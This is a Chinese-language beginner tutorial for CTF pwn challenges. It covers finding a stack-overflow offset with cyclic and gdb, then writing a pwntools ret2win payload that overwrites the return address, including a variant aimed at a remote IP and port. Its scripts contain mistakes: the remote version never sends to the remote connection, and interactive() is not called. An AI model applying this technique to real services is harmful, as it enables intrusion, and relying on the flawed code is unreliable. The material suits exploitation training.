PWN入门
-
先利用IDA对pwn文件进行静态调试
对pwn文件进行反编译
因为CFT是夺旗赛,所以我们首先要找到get flag的函数 -
利用gdb进行动态调试
我们就可以利用栈溢出获取系统权限
我认为有两种方法来获得使栈溢出所需要的填充量
(1)、利用通过输入大量的字符来使其达到溢出,判断溢出的位置,从而获得栈长。
我们利用cyclic length函数产生若干个有序字符。
利用cyclic 300产生300个有序字符。
用gdb来运行pwn文件,利用run指令使程序跑起来,并将之前利用cyclic 300产生的有序字符输入。
输入后会使栈溢出,产生报错信息
获得0x62616164,看他报错的意思是(跳转到0x62616164)这步出错了,意思就是没有0x62616164这个位置,那这个位置是从哪来的呢?就是我们300个有序字符其中最先溢出的第部分。所以,0x62616164是栈溢出的位置。那么只要知道这个0x62616164是我们输入的第几个,就可以数出来它前头有几个数字了。然后利用cyclic -l,这个函数代表着查询你所给的4bit字符前有几个字母。
得到112,112就是我们填充栈所需的数量。
(2)、利用gdb动态调试,找到ebp和esp的值
找到函数中需要输入的位置
利用pattern create 200产生字符,并将产生的字符输入到该输入的地方
确认ebp到输入位置的偏移量为108
但是,计算输入到ret的偏移量,所以就在加上0x04。得到偏移量为112。
- 获得覆盖ret的地址,即需要跳转的get flag的地址
这里get flag的地址为0x0804858B
4. 编写payload脚本
from pwn import *
sh=process('./pwn')
elf=ELF('./pwn')
target=0x0804858B
#覆盖ret的地址
sh.sendline('a'*112+p32(target))
#112为栈所需要的覆盖量
sh.interactive
利用python 3.py pwn来运行脚本
- 远端控制
pwn之远端控制,其他操作都不变,只是payload的脚本变了。
from pwn import *
sh=process('./pwn')
p = remote ("138.128.212.238" ,9999)
#这里输入远程控制服务器的地址
target=0x0804858B
#覆盖ret的地址
sh.sendline('a'*112+p32(target))
#112为栈所需要的覆盖量
sh.interactive
也是运用python 脚本名.py pwn